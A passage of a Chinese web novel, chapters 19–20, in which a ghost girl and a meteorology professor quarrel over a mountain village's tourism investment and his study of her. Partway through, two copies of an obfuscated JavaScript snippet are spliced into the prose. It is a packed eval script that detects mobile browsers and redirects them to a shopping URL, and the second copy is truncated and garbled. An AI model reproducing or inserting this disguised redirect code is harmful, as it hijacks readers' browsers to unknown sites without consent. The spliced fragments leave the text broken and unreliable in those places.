金乌西坠,山谷里,裹满余晖的云翳大片大片地翻涌,绵密的雨点镶满碎光,宛如撒向人间的金粉,跳跃在绿油油的叶片上,带起涟漪而灵动的响声。 还有时不时的鸟声蝉鸣,风轻轻地吹动树叶,一切都安逸美好的像是童话世界,如果棠又又没有那么烦恼的话。 从气象站溜走之后,棠又又随便找了个山沟沟,挑了个漂亮的树杈子躺下,二郎腿一翘,开始思考鬼生—— 她不懂为什么明明跟平时一样的表情,今天的程澍礼看起来格外吓人,就像她不懂,明明朱正富和那个口音怪不是好人,连老金都发话不让动村民的果树了,可程澍礼偏要说也许不是坏事。 最百思不得其解的是,她不知道自己为什么要躲起来。 可转念一想,程澍礼这个人虽然冷淡,古板,恪守成规,还偶尔毒舌,但人还是很不错的,至少不会在吃上面亏待她。 “总不能弄死我?” 棠又又对着空无一人的山谷自言自语,她坐起来,觉得程澍礼不是这样的人,毕竟他还指望靠自己发表一些惊世骇俗的大作来。 如此安慰自己一番后,棠又又起身,鼓起勇气飘向那个沐浴在金光里的吊脚楼。 不知是因为她的到来,或是其他的什么,棠又又飘进吊脚楼时,感到一阵发怵的寒意,而作为鬼她本身是没有冷热感的,唯一的解释是,这股寒意来源于坐在餐桌边的程澍礼。 他换了身材质更舒适的衣服,柔软地贴合在身体上,脸色却不怎么柔软,似乎被连日的忙碌反噬了,看上去有些苍白和憔悴。 从棠又又进来,程澍礼沉默的视线一路跟随,从门口的夕阳,到她小碎步凑到餐桌前,再看她眼睛猛地瞪大。 今天桌上的饭菜极其清淡,一盘水煮青菜,一盘清炒土豆丝,和两碗让人毫无食欲的白粥,旁边的线香蔫蔫地飘着。 棠又又一掀裙摆坐到他对面,躬身向前,仰起脸盯着他的眼睛:“程澍礼,你皈依了吗?” 程澍礼垂眼,凝望着她黑亮的瞳孔,默然几秒才开口:“朱正富的团队打电话给文旅局,要取消投资,因为那两巴掌,让他觉得棋山风水不好。” 并扬言要找最强的捉鬼师好好治一治这里的风水,他怕吓到棠又又所以没说。 “这不是好事吗?”棠又又褪去所有表情,恨恨道:“反正他们也不是什么好人。” 关于好坏,程澍礼避而不答,转而说:“我查过了,朱正富名下的7家企业没有一个有民事纠纷,这证明他是一个合格的商人,也是棋山目前最合适的投资商。” 棠又又问:“即便要砍掉棋山的树?” 知道她会纠结这个,程澍礼轻吸一口气,语气平和:“他要引进的不是普通苹果,而是国外近几年新兴的品种,果实产量高,根系固土储水能力很强,很适合在棋山这种山区种植,况且,这是他和政.府的合作项目,每一步都要经过严格审批,不会放任他胡来。” 棠又又小声:“你说的我听不懂。” 室内的灯光明亮而柔和,照亮她乌黑的眼睛,里面溢满了不接受和不耐烦。 她倔强地盯着程澍礼:“不会放任他胡来的意思,就是还会让他胡来。” “只要在规则允许的范围内种植,就不会对棋山生态造成影响,而且......”说着,程澍礼忽然一阵急咳,他喝一口水顺了顺气,“在项目正式启动前,会有多个部门进行详细评估,政.府也会派遣代表到现场监工,不会让他动超出规定区域的一寸土地。” 棠又又话锋一转:“尼莫阿奶的果园呢?” 程澍礼说:“松里峰不在旅游开发区范围,他动不了。” 棠又又说:“朱正富亲口说要不惜一切代价毁掉那些苹果树,你不是听见了吗?” “其实。”程澍礼踌躇一秒,斟酌了下语言,“旅游区建起来之后,能直接推动烂木等旅游的服务业,这正是尼莫阿奶和其他村民缺少的商业化机会。” “然后呢?苹果树怎么办?” “等服务业有了可观的收入,果农们完全可以不种苹果。” “不种苹果”四个字从程澍礼嘴里轻飘飘地说出来,仿佛像喝水吃饭那样简单。 棠又又觉得此刻对面的人冷静的像个残忍的刽子手。 她怔了一会儿,冷冷道:“所以你是支持朱正富的。” 程澍礼叹气:“我知道你讨厌朱正富,因为他看起来市侩又自大,但是你想一想老金重病缠身的孙女,急需资金做手术,而市局的退休金比五子顶高,所以这次投资对老金来说很重要,是一次走出棋山的机会。” 棠又又扯下嘴角:“那也已经黄了。” 程澍礼翻起一个青瓷茶盏,倒了杯水,灯下水影泛出涟漪,映出清澈的光芒。 “又又。”他将茶杯放在棠又又手边,说:“即使不是朱正富,也会是下一个马正富牛正富,还可能会有你不喜欢的方式,但是棋山商业化是必然趋势,世界万物都有它们的自然规律,遵循既定的秩序发展,我们不能强行干预或扭转这些规则。” 棠又又不想听他说大道理,没有情绪地问:“就像研究我一样吗?” 闻言,程澍礼微微一怔:“什么?” 棠又又说:“世界万物都要遵循既定的秩序,所以你不相信我是鬼,于是就要通过那些研究,来证明我不是秩序之外的,而是可以被你所理解、所掌控的存在,你要强行把自然法则套在我的头上,对吗?”她声音虽轻,却在吊脚楼里格外清晰。 窗外的风忽而凌乱,无拘无束地闯进屋内,肆意翻动书桌上的笔记本,纸页哗哗作响,显现出程澍礼一笔一划、冷硬规整的字迹。 “这是两码事。” 她的话是程澍礼始料未及的,但很快,就在脑海中推测出棠又又说这些话的原因。 他眼里中前所未有的认真,甚至比观察云朵时更细致地观察她的表情,不再是总挂着笑容的嬉皮笑脸,冷冰冰的,带有一点故作坚强的伤心。 程澍礼察觉她的伤心,可他不想让她伤心:“我那样写是因为——” “不是两码事!”棠又又猛地站起来,椅子穿过她的魂体,她退后,目光像针一样地刺向他,“你永远相信你的规则!你永远相信你的科学理论!相信秩序!相信定律!哪怕是一个活生生的女鬼站在你的面前,你都还在想着着怎么用科学解释这一切!” 程澍礼用掌心摁下因发烧而酸痛的眼眶,无奈说:“你不觉得活生生的女鬼这个形容很诡异吗?” 棠又又:“这个时候请收起你变态的严谨!” 这种若无其事的态度让棠又又更加恼火,她气得转身走出一段距离,旋即又转回来。 “说到底,你根本就是想赶紧促成棋山的投资,好尽快回到你那屋舍俨然的校园,再用‘我’写一篇能够让你被更多人敬仰崇拜的论文,当你最喜欢当的保守尊敬的程教授!” 程澍礼端坐在桌前,面色宛若静水般平和,惯有的、包容的、极具涵养的平和,对棠又又的恶语相向平和到好似是置身事外。 棠又又说:“程澍礼!你就是一个自私的人!” 这是好重的一句话,说完程澍礼的表情肉眼可见的一凛,仿佛被击中了什么不可说的部分。 棠又又第一时间发现程澍礼的变化,但那也只是很短暂的一瞬,很快他就抿下嘴唇,轻轻地呼出一口气,站起来。 “拔丝地瓜忘记买,只有白粥了,你吃吧,我去找老金聊聊。” 他径直路过棠又又身边,大步走向门口,刚拉开门想起老金早早下山去了医院,又不作停留地转身,走到床边掀开被子躺下,整个过程没看棠又又一眼。 这头,棠又又不明所以地看完他一连贯的动作,踮起脚尖伸着脖子往床那边瞧了瞧。 其实刚刚话一出口,她就意识到自己的话说得太过分了,她觉得按照程澍礼的性格,哪怕不生气,至少也会毒舌两句,可是他没有。 这让棠又又有点摸不清。 想着,她试探性地出声:“老金要给你托梦啊,他不是没死吗?” 程澍礼平躺在床上,一手盖住眼睛,灯光从手指的缝隙里漏下来,打在他轻轻颤抖的睫毛,自小的教育让他不能在人前失态,再艰难的情况,也要努力克制情绪保持得体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721407|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他不确定是因为棠又又的话,还是因为生病,或者是雨天的影响,唯一确定的事,他不想说话,至少是现在,他需要通过沉默消化一部分情绪。 屋子里忽然变得特别安静,静到棠又又有点站不住了。 她飘过去,施施然落在程澍礼的床头,眼前的景象让她脸色一僵。 ——程澍礼的睡姿简直太板正了。 除了遮住眼睛的一只手,其他手脚像是被无形的绳索捆住一般,好像超出规定范围的一毫米,就会被无形的力量砍掉,而盖在他身上的薄被也整齐的一丝不苟,严丝合缝地贴在他的身上。 棠又又语带嫌弃地啧了啧:“我们死人都不这么睡觉。” 程澍礼还是没有吱声,呼吸灼热,面颊紧绷,月亮从旁边的窗户照进来,在他下颌处勾勒一片幽邃的暗影。 棠又又向前挪了点位置,试图讲和,但她没跟人道过歉,只在学校里看见过小朋友们闹矛盾,大多都不会超过两分钟,你说对不起我说没关系,然后手牵手地去操场上摘花编花环。 她想解释那句话完全是出于冲动,可是又不想显得自己太上赶着,于是很随意地问:“你在生气?” “没有。” 那就是“有”的意思了。 她又问:“我给你道歉的话,你还给我买拔丝地瓜吗?” 程澍礼闭着眼,胸膛微微起伏,猜到棠又又那些小九九。 他说:“我没见过你这么能吃的鬼。” 棠又又努嘴,气愤地说:“我没见过你这么没生气的人!”往那一躺比死了还死了。 程澍礼觉得自己好了一点,可以和棠又又斗嘴:“回头找到你的坟我一定挖开看看是不是就剩张嘴。” 棠又又说:“尖酸刻薄的老东西!” 程澍礼说:“你飘了一百多年,咱俩谁比谁老?” 听见这句,棠又又哼哼笑了两声,激动于自己抓到了程澍礼的漏洞:“严谨一点,没有一百多年。” “哦。”程澍礼态度冷淡,“我还没问过你,你到底是哪年死的,见到新中国了吗?” “......”棠又又彻底哽住了。 看,这就是程澍礼,死板,守旧,顽固,生气的时候表面上波澜不惊,不显山不露水的,但会用最平淡的语气说最气人的话,专门戳她的痛处! 这是报复!这就是他程教授赤.裸裸的报复! 棠又又转身就走,书桌前窗户“唰”地一声发出巨响。 程澍礼笔直躺在床上,听动静知道她走了,也知道窗户敞开着,山里的冷风呼呼往里灌,但是他实在爬不起来去关,四十度的高烧剥夺了他所有的力气,眼皮发涩,沉重地快要睁不开。 他尝试复盘这场冲突的起源和转折,但无法抵抗浑身泛起的酸疼,意识渐而涣散,滑向睡眠的深渊。 # 一晃十来天过去,棠又又再没出现,整个棋山,包括五子顶气象站,天气好到令人难以置信,四处晴朗万里无云,但程澍礼的心情没有预想中的好。 因为病情反复,也因为近期气象平稳,引种试验不在关键期,老金让他非必要不用上山,只用在吊脚楼里休养,一日三餐让阿尧给他送过来。 程澍礼搬了张竹椅到观景台,安静地欣赏棋山的风景。 远处天空澄明,两行青山蜿蜒起伏,山谷间,云朵层叠相拥,厚得像是要掉下来,阳光从树冠的缝隙中洒落,斑驳陆离地照在林间地面上。 微尘在光柱中浮游流动,树梢发出沙沙的响声,时间变得细腻而悠长。 景色怡人,微风舒心,让病中的程澍礼悄然产生一股难以抗拒的困倦。 他闭上眼睛,准备打个盹。 不知眯了多久,模糊而遥远的声音在耳边响起,连带着他对外界的感知渐渐变得清晰。 一男一女谨慎而好事的对话。 “梦里有什么睡的这么香?” “女人?” “他能梦到女人真是有鬼了。” “也是。” 十秒后。 “咋还没醒?” “他不会死了吧?” 19. 第十九场雨 程澍礼睁开眼睛,李多聿和景祎一左一右守在他身边,像两个门神似的严阵以待他的醒来,尤其景祎,已经搭上了他的脉,一脸严肃地说:“还好,不是诈尸。” 程澍礼拂开她的手,随着动作身上的薄毯滑下来,他视线一顿,迅速拎起薄毯放在鼻尖闻了闻,只有淡淡的洗衣液和阳光的味道。 一旁的李多聿看着他怪异的行为,忍不住问:“你怎么了?” 程澍礼不答反问:“你们给我盖的毯子?” “不然呢?”景祎从里面拖了两把凳子出来,递了一把给李多聿,“你是熬了多少夜,我俩在这站半天都不醒。” 得到肯定的答复后,程澍礼目光微闪,静静看了两秒蓝天,表情没有明显的变化,但是细看之下,好像有什么落空了的感觉。 他平淡问:“你们怎么来了?” 李多聿大剌剌坐下:“之前跟你说的,隔壁组学生来这考察贵州民俗,正好放暑假,我过来玩两天,顺便看看你。” “谢谢。”程澍礼转头问另一个,“你呢?” “不用客气。”景祎靠在椅子上,声音懒散:“我来参加中药材产业发展大会。” 或多或少都是带着工作过来的,程澍礼嗯了声,表示自己知道了,接着就没了声音,一个字也不愿意多说。 如果说从第一句话开始就察觉他不对劲,那么这下就更确定了,李多聿侧过身,眯起眼睛问:“怎么天儿好你还闷闷不乐的?” 景祎也在看他,她还没见过他这副模样。 程澍礼说不上来,总之就是闷,不是下雨天单纯呼吸困难的闷,而是心里隐隐的刺痛,一下一下的,他找不到具体语言形容。 半晌,他淡笑了下:“我心里有鬼吧。” 这倒把李多聿和景祎惊到了,要不是亲眼所见,他俩打死不信这么离谱的话能从程澍礼嘴里说出来。 李多聿直接站起来,边说边用手背摸他额头:“没发烧吧你?” 结果手一碰上,他眉头一皱:“还真有点热。” 景祎刚探脉的时候就发现了:“对着风口吹,不冻着才怪呢。” “大哥别笑二哥。”李多聿阴阳怪气地哼了声,“有的人喝多了,非跑到大街上要给流浪狗号脉,号了一晚上把自己号进医院了。” 景祎不甘示弱:“如果当时救护车来了你不是先抱着狗上车,我会以为你是个好心人。” 李多聿说:“好心人应该眼睁睁看着你掉进特维莱喷泉,成为许愿池里的王八。” 景祎说:“那我掉下去之前一定先许个愿,让老天降道雷劈死你。” 李多聿赞同点头:“听我的,从喷泉广场出发,步行十分钟到罗马万神殿,那里有个朱庇特,你让他走,你坐那。” 景祎笑眯眯地威胁:“李多聿趁我没给你下毒之前,最好嘴巴甜一点。” “作为一个女孩子你能不能温柔一点!” “好的,我会温柔地给你下粉色的毒药。” 程澍礼坐在中间,低头挠了下眉毛,自动屏蔽两人聒噪的声音。 从小学三人认识以后,程澍礼就已经习惯了他们的相处模式,每次凑到一块,话不投机半句多,一言不合就翻脸,但明眼人都看得出来,两人究竟存的什么心思。 他们可能会互相给对方下毒,然后定期交换解药,趁着见面的功夫相爱。 撩拨完景祎几句后,李多聿心情万分舒畅,最后一点良知促使他靠过来,一把揽住程澍礼的肩膀,拍了拍宽慰道:“有啥事儿你说出来,总有办法解决。” 大概仗着生病为所欲为,程澍礼还真就问了:“怎么招鬼?” 李多聿当他是脑子烧糊涂了,跟着插科打诨:“做点亏心事儿?” 程澍礼:“比如呢?” 李多聿看向正对着镜子补妆的景祎,唇角勾起一抹轻佻的笑,他眼里满满的柔情蜜意,声音柔的快要滴出水来:“我爱你。” 景祎往后捋一把头发,义正严辞:“不要说这么晦气的话。” 李多聿肆无忌惮地大笑,接着他从手边拿起一个红色盒子,放到程澍礼手里:“给你补个生日礼物。” 在来的路上,景祎就已经替程澍礼将李多聿谴责了一万遍了。 一座精致剔透的玻璃奖杯,在阳光下一照,闪耀着璀璨夺目的光芒,奖杯的正中央,镌刻着“最佳科研精神奖”。 以前李多聿也送过一些恶趣味没营养的生日礼物,程澍礼都没什么情感起伏,轻描淡写地收下,唯独这次,看见那几个字时,周围世界静止下来。 他的心脏仿佛又被坚硬的针重重刺了一下,无法言说的情绪席卷他的神经,他又一次想起那个因为生气消失许久的人。 哦不,活生生的女鬼。 看了几秒,程澍礼喉结滑动一下,他拎起薄毯,拿起奖杯站起来:“吃饭吗?” 饭是阿尧在他睡前送过来的,他没胃口就没动,但是点了线香在旁边。 景祎回头:“这都几点了你还没吃饭?” 程澍礼走进屋内,留给两人一个无言的背影。 景祎转回来,疑惑而担忧地看向李多聿,李多聿耸下肩膀,表示自己也不懂。 ...... 荒山后岭,棠又又无所事事地在树林间穿梭,从这棵树到那棵树,找了个视野还算开阔的地方,望着远处的几户人家,将自己一整个放空。 发呆的间隙,她突然听见几声小小的、细微而隐痛的嘤.咛。 像是有所感应,棠又又猛地坐直起来,眼神迅速在杂乱的草丛间搜寻,最终定格在不远处的深沟里,她赶紧飘过去,果真在那里看见一二三四五六。 六只小狗不知摸了多久才跑到这里来,个个灰头土脸,原本光滑柔顺的毛发打结裹在一起,粘满了苍耳和鬼针草,?但即便如此,它们在看见棠又又后,顿时欢欣鼓舞起来,蹦跳着跑到她面前。 跑在最后面的六六最惨,左前爪上不知道被什么蹭掉一大块,皮毛翻卷,露出里面鲜红的血肉。 见状,棠又又既心疼又心急,板起脸训斥:“不是把你们送回蔡叔那里了吗!还跟过来干嘛!饿死你们!” 她骂它们:“傻狗!” 一二三四五六听不懂她的话,只乖巧地并排蹲在地上,圆溜溜的眼睛看着她,尾巴摇来摇去,吐出舌头朝她傻乎乎地笑。 棠又又也蹲下来,和这些小家伙们大眼瞪小眼,心里渐渐泛起了难过。 其实她不生气,她只是有点难过。 她以为自己孤独得够久了,足够消磨这些矫情的情绪。 可是当程澍礼问她到底哪年死的时候,她答不上来,觉得有什么东西空掉了一块,就像被抽走了一块很重要的拼图。 她的存在不是规律演化、数据分析构筑的结果,也不是自然秩序以外的错误,而是黑暗的夜晚,是潮湿的山林,是烂木头底下发霉的蘑菇,也是试验田避之不及的坏天气,棋山村民的咒骂,是老金的走投无路,和卓客不可名状的邪祟。 棠又又不知道自己到底是什么。 因为程澍礼是唯一能和她交流的人,所以她本能的,很快对他形成了依赖。 可还没等她搞明白这种依赖算不算友情,她和程澍礼算不算朋友的时候,程澍礼就用他的方式,在中间划了条泾渭分明的直线,像是界定生死的鸿沟,也像冰冷的利刃,切割着她对人间温情的奢望。 所以她有点难过。 山间空朦朦,气压逐渐下沉。 深乱的草垛里,棠又又缓缓蜷缩成一团,将头埋进臂弯之中,双手紧紧地环抱住自己,肩膀在雨中止不住地发颤。 乌云从远处慢慢聚拢,铺满整片天空,轰隆隆的雷声响彻山谷。 肆.虐的狂风卷起豆大的雨珠,猛烈地撞击在岩石和树木上,汹涌地冲刷着整片山林,万事万物都沉浸在磅礴的大雨之中。 雨水从屋檐倾泻而下,垂成无数条晶莹的直线,模糊了外界的画面,完全将人困在方寸的屋内。 程澍礼伫立在门口,抬眼看向屋外的雨幕,寒冷的空气让他忍不住咳嗽。 背后响起老人年迈而苍老的声音,她说的是古老的彝族语言,复杂而繁琐,一群学生屏气凝神地围坐在她身边,虽然听不懂,但都生怕漏掉什么重要的细节。 阿芝在旁边帮忙翻译,因为人多,她有些羞怯,嗓音软糯温和:“阿奶说,我们彝族毕摩最早可以追溯到远古时期,那个时候彝族部落的巫师和祭司是同一个人,后来随着文化发展,祭司和巫师的身份分开,变成今天的毕摩,负责司祭、行医占卜和主持大型宗教活动的仪式。” 学生们纷纷点头,有人好奇地举手提问:“阿芝姐,你帮我们问问,那棋山这边的毕摩是一开始就有的,还是后来选出来的呀?” 阿芝凑到老人身边,用彝语说了几句话,老人听完立马露出一个和蔼的笑容,视线扫了眼这帮学生,说了几句话。 阿芝笑着转达:“毕摩不是选出来的,是家族代代相传下来的,当时因为打仗逃来有仙寨的村民,里面就有毕摩的传人。” “诶阿芝姐,我上午听阿尧哥说你们家之前也是毕摩呢。”一个男生戏谑地插话。 阿芝脸色绯红,轻轻嗯了一声。 学生们集体哇了一声,有个男生说:“我来之前,在书上看见说毕摩会很多种法术,能通天彻地,和鬼神对话,真有这么厉害吗?” 程澍礼身形微偏,眼神向右前方侧了侧。 阿芝和老人沟通一番后,跟他们说:“那是原始巫术的说法,毕摩传承下来的是宗教仪式,如果家里有人身体不舒服,就会请毕摩来做仪式,驱逐掉不好的东西,除此之外,这些仪式还可以帮助彝族同胞祈福,预测吉凶,也可以在葬礼上超度亡魂,让逝者得到安息。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725677|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那有没有那种不能学的法术呀?”提起法术,学生们大有兴趣,“像哈利波特里伏地魔那样,学了会被赶出家族的黑法术。” 阿芝用自己的理解,将学生们天真的想法转述给老人,哪知老人神色瞬间慌乱,她连忙摆手,看向阿芝的眼神中有些责备,好像在说怎么能让孩子们问这个。 看见这情形,学生们彼此面面相觑,不知道发生了什么。 阿芝握着老人的手,温柔地安抚了几句,终于,老人吐出长长的一口气,语气缓慢而低沉,说了很长一段话。 “我们没有法术这种说法,不过是有那种被禁止的施恶仪式,这种仪式都是咒人咒鬼的,有的人在外面结了仇,就回家做法事诅咒仇家受到灾祸,还有更恶毒的,就找个法器咒对方的魂灵不能轮回转世,但是诅咒之后,如果对方死了一个人,那本方也有可能会死一个人,搞不好还会引发天灾,这么伤天害理的东西,莫说用,寨老是连提都不让提这些的,更不要说学了。” 阿芝边听边讲,吐字清晰,缓缓从历史中开启一段往事:“很久以前,我们寨子里有个威望很高很受人尊敬的老毕摩,好端端地突然瞎了,大家就说是因为那个时候闹饥荒,村子里都没有饭吃,她就躲在屋子里给人下咒,这样大家请她去驱邪消灾,主家就会给顿饭吃,但这是害人呐,害人就会遭天谴,那个可恶的家伙最后就瞎了嘛。” 语毕,有个女生小小地惊呼了声,似乎不敢相信还有这样的事,提问的男生也面色苍白,眼中闪过一抹惶恐,担心自己无形中触碰了什么禁忌。 随后学生们又问了几个问题,都是有关毕摩宗教相关的细节,阿芝害羞地邀请他们去自己家看看,说那里有一些祖上传下来的法器。 大家一致同意,气氛开始变得活泛,没人再关注秘术的话题。 休息时间,程澍礼拎了瓶矿泉水走到门外,囫囵吞了两粒退烧药下去。 雨势愈来愈大,没有变小的趋势,雨雾此起彼伏笼罩着山林,看不到明显的天际线,整个棋山仿佛陷在光怪陆离的幻境里。 屋檐的另一侧,两个男生刚从厕所回来,不停地拍打身上的雨水,嘴里抱怨着:“这雨要下到什么时候啊,看给我淋的。” 另一人说:“孽麻的鬼天气。” 熟悉的两个字眼像一把无形的钩子,无意中拨动程澍礼内心最敏感的神经末梢。 他快速走过去,果断拦住准备进屋的两人,问最后说话的男生:“那两个字什么意思?” 得益于良好的记忆,男生很快认出眼前的人,京大校园里有名的“不成数理老师”,听说他出声书香门第,性格严格死板,并且对学生要求极高,现下被他当面抓住说脏话,男生心里涌出一丝慌乱。 他近乎不安地解释:“程老师,那就是我跟老家人学的一句方言,平时基本不说,也没什么恶意,您别放心上。” 程澍微一垂眼,气势压迫地追问:“你是哪儿人?” 男生说:“山东青岛。” 说完,程澍礼再没问别的,他抿着唇一言不发,两个男生互相对视一眼,打了声招呼后赶忙溜进屋内。 屋檐下只剩程澍礼一人,他想起棠又又第一次说起这话的场景,她说自己也不知道什么意思,只是脱口而出。 而棋山鲜少有外地游客进来,棠又又是从哪里学会的这句话? 他独自想了几分钟,一直到李多聿过来,他带着一身水汽:“还站这吹风,发烧不想好了?” 晃了晃神,程澍礼收回思绪:“你干嘛去了?” 李多聿让学生们走访有仙寨里的老人,却让程澍礼帮忙带队,自己一转眼就跑没了影。 李多聿收起雨伞,抖掉上面的水珠:“来时学生们说想骑马,我先去万峰林那边看看。” “万峰林能骑马?”程澍礼表情诧异,他来这几个月了第一次知道万峰林有马。 因为了解,所以李多聿对他的一无所知并不感到奇怪,但也忽略了他话里呼之欲出的急切,只继续道:“以前是可以,但不巧我刚去的时候,那家马帮老板说准备迁到乌蒙大草原去,正带着一家子赶马呢。” 他话没说完,程澍礼忽然一把夺过他手里的雨伞,脚步匆忙地走进滂沱的大雨。 “哎哟卧槽!”李多聿急得大喊,“你现在过去人早走远了!” 两个小时后,吊脚楼。 程澍礼生病睡觉,李多聿和景祎站在门口,看着被系在树下的那匹白色大马,表情都一言难尽。 古怪的沉默之后,景祎终于忍不住问:“你确定他买了匹马?” 李多聿反问:“你确定昨天把脉的时候他还是他?” 景祎说:“是他。” 李多聿说:“是的,他买了匹马。” 景祎:“但他脉象紊乱,应该是脑子烧坏了。” 李多聿:“是的,所以他买了匹马。” 20. 第二十场雨 程澍礼这一觉睡得很不安稳。 梦境像一张无边的巨型大网,紧紧捆绑着他的心脏,每一次跳动都伴着强烈的窒息感,他的灵魂被囚禁于孩童的身躯,在濒死的感觉中急速下坠,轰然跌进冰冷深沉的黑暗。 “你怎么来这里了?” 加速的下坠戛然而止,一缕微弱的光亮穿透黑暗,照亮了他所在的深坑。 他抬头寻找说话的人,坑底的草丛和石块模糊她的面容,但她的轮廓却是如此的熟悉,程澍礼不由自主地伸出手,想要抓住虚空中的那道白影。 下一秒她转过身,旋即天地倒转,程澍礼奋力爬起来追逐那人的身影。 可是永远都追不上,她的背影越来越远,天地间狂风呼啸,四周的场景随着他的奔跑骤然如漩涡般崩陷,万千楼宇从扭曲的时空裂缝中拔地而起。 同时他的身体以倍速增长,长大成人,站在鳞次栉比的建筑之前。 学生们从他身边经过,各种嘈杂的声音混合在一起,朦朦胧胧仿佛来自另一个世界。 李多聿笑着朝他张开双臂:“你怎么来这里了?” 程澍礼木然地望向这些冰冷的钢筋巨物,幻视它们张开血盆大口,和李多聿骤然歪曲变异的笑容一起,残忍地将他拉向深渊:“欢迎来到京大。” 他猛地推开李多聿的拥抱。 不,他不应该在这里。 他应该在南极洲的冰川上。 南极洲的冰川,这里天气晴朗的时候,阳光穿透稀薄而清澈的大气层,冰层闪耀着璀璨的金色光芒,冰雾纷飞,如同无数颗细小的钻石。 世界像是被按下静音键,宁静美好到极致。 程澍礼伸手感受温暖的阳光,就在即将触碰到那抹光亮时,有人在他背后叫他:“回来。” 声音由远及近迅速逼迫,逐渐凄厉,逐渐骇人。 地面开始剧烈震动,天地一寸寸凝结,淡蓝色的冰川变成硕大的镜面,倒映出程澍礼压抑痛苦的瞳孔。 下一秒,镜面支离破碎,碎片怦然四溅,视野重回黑暗,尖锐的声音忽而如潮水般退去,从混沌中伸出一把铜扇,带来安宁,轻轻点在他的额头。 “去吧。”和蔼而沧桑的声音抚慰他的不安,“去你该去的地方。” 程澍礼想问你是谁,但他说不出任何话,只能拼尽最后的力气,紧紧攥住那把放在他额头的铜扇。 那人手掌只是轻轻一推,便轻松瓦解了程澍礼的挣扎与抗拒。 他的身体被包裹在一股温暖柔和的光芒之中,如同羽毛一般,被缓缓托起上升,带着前所未有的释然与解脱。 直到穿破梦境与虚空交织的黑暗,重新回到现实世界。 最后一丝梦境的画面消失,程澍礼缓缓睁开眼睛,急促手机铃声冲决了噩梦的余波。 “程教授,咱们投资的事儿有着落了!”话筒中传来老金激动而兴奋的声音,“是上海的一对年轻富商夫妻,前几天他们来这边旅游,路过棋山的时候遇到大雨走不了了,就在姚寨老家住了一晚,结果看见咱们这边的风景,喜欢的不得了,昨天已经跟文旅局的人见过面啦。” “他们之前是干什么的?”程澍礼坐起来,拿起床头柜的水喝了一口。 老金说:“男方不清楚,挺神秘的,不过小崔打听到的消息是,女方之前是在云南那边开民宿的,这几年想搞森林自然主题的度假民宿,边旅游边考察,就绕到咱们这儿了。” 玻璃杯中的水微微摇晃,水面泛起细腻的波纹,映衬着微渺的天光,照在程澍礼优越的下颌线。 他哑声说:“是个好消息,但是他们知道气象的事吗?” “知道知道。”老金连忙回应,“人说了,反正是过来度假的,天气好坏顺其自然,只要不耽误吃饭,就都是好日子。而且啊,这次就是突然下雨,他们才走不了的,别说!有时候这鬼天气真有点用!” 见过了朱正富这样固执己见的投资商,乍然听见这么松弛的说法,程澍礼不自觉笑了下,但随即,他看到餐桌上冷掉的饭菜以及旁边燃尽的香灰,结合老金的后半句话,他又慢慢敛起了笑容。 老金又说话:“但是还是有件事要麻烦程教授一下。” 程澍礼放下水杯:“您说。” “本来你生病应该静养,但是......”知道有些强人所难,老金语气中满是歉意和恳切,“因为投资这个事情一旦启动,不是一个部门的事,所以市气象局那边,希望我们提交一份完整的异常分析报告,我记得朱正富来那天,你是不是准备了一份,我想着要不你完善一下,然后我交过去。” 程澍礼说好,老金在连连感激中挂断了电话。 挂掉电话,程澍礼安静坐在床上,没人的时候也坚持端正的坐姿。 他半边侧脸匿在阴影,与另一边被熹微晨光勾勒的轮廓形成鲜明对比,眼神幽深如墨,静静注视着两米开外的那张餐桌。 他得做点什么,程澍礼想。 简单收拾一番之后,程澍礼坐到书桌前,纹丝不动宛如一座雕塑,凝神沉思了十分钟。 脑海中自动浮现棋山的3D地形图,追溯过去长达三年的时空,所有异常天气一一定位经纬,精准拆解出异常发生时的气压、湿度、风速、风向,这些复杂的数据重组贯通,最终形成一条脉络清晰的可视化数据线图。 当电脑上呈现出这条数据线图的时候,棋山那些诡异的传说全部得到了合理的验证。 程澍礼看着这份逻辑完美又无懈可击的分析报告,不禁瞳孔微暗。 他知道,一旦这份报告交出,长久以来笼罩在棋山上的迷雾全部驱散,将不会再有人怀疑鬼神之力,所有传说不攻自破,问题迎难而解,棋山会迎来期待的平静和安宁。 然而他迟迟没有点击发送。 屋外清晨岑寂,旭日散发着辉煌的光芒,整个山林沉浸在壮丽的静谧之中。 棠又又的话再次凭空响起——所理解、所掌控的存在,这句话犹如一柄锋利的长剑,悬在他紧绷的神经之上,凌迟着他的理智和情感。 他不知道未来的投资商是否会一直不在乎这些异常,他也不知道还会不会有新的捉鬼师或者道士,甚至有一瞬间,程澍礼不知道自己这样做对不对。 ——背叛三十年来的原则,用尽毕生所学,努力地去保护棠又又。 可如果将这些异象全部解释为自然规律,那么从某种意义上来说,他将抹杀棠又又的存在,用科学的名义抹杀一个鲜活的灵魂。 想到这里,有人敲响吊脚楼的门,紧接着那人推门而入。 程澍礼迅速合上电脑屏幕,看向正走进来的阿尧,阿尧看见正中央餐桌上原封不动的饭菜,担心说:“程教授,还是吃不下啊。” 起身走过去,程澍礼帮着把旧的餐盘收掉,对浪费粮食有些抱歉:“睡得昏昏沉沉的,看了会儿学生的论文,给忘了。” 阿尧将两碗粥从便当盒里拿出来:“按您说的,都加了白糖。” 程澍礼说:“谢谢。” 